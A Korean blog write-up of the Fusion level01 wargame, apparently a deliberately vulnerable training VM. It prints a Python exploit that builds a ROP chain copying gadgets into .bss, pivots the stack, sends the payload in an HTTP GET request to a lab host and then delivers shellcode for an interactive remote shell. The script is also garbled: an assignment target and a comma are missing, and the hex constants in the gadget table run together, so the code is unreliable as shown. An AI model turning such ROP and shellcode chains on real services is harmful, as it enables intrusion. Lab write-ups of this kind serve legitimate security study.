본문 바로가기

Wargames/fusion

fusion level01

레벨0이랑 소스는 같은데 aslr이 추가되고 버퍼의 주소를 안알려줬다. 문제를 보고 그냥 바로 ROP를 해야겠다 생각해서 걍 ROP로 풀었었는데 풀고 다른 사람들의 풀이를 보니까 다 jmp esp 가젯을 이용해서 풀었더라.. jmp esp 가젯은 많이 사용해 본 적이 없어서 생각해 내지 못한 것 같다. 앞으로 또 써먹을 일이 있었으면 좋겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from SunKn0wn import *
 
= remote('192.168.179.151'20001)
 
strcpy_plt = 0x080489A0
leaveret = 0x8049853
ppr = 0x08049A2E
popebpret = 0x8049a78
bss = 0x0804B4A8
 
Table = [0x80481580x80493900x80499400x8049570,     # read_plt
         0x804813b0x8048d700x80499400x8049570,     # pppr
         0x80481580x80481580x80481580x8048158,     # 0
         0x8048be00x8048f170x80499400x8049570,     # bss
         0x80481580x804830c0x80481580x8048158,     # 100
         0x8048be00x8048f170x80499400x8049570]     # bss
cnt = 0
 
payload = 'A' * 139
for gadget in Table:
    payload += p32(strcpy_plt)
    payload += p32(ppr)
    payload += p32(bss + cnt)
    payload += p32(gadget)
    cnt += 1
payload += p32(popebpret)
payload += p32(bss - 4)
payload += p32(leaveret)
 
payload = 'GET ' + payload + ' HTTP/1.1'
r.recvsend(payload)
sleep(0.5)
r.send(SocketShell32)
r.interactive()
cs

페이로드를 bss영역에 복사해서 fake ebp로 페이로드를 실행하고 쉘코드를 받아서 풀었다. 지금 생각해 보니까 참 어렵게도 푼 것 같다..

'Wargames > fusion' 카테고리의 다른 글

fusion level04  (0) 2016.04.28
fusion level03  (0) 2016.04.25
fusion level02  (0) 2016.04.20
fusion level00  (2) 2016.04.15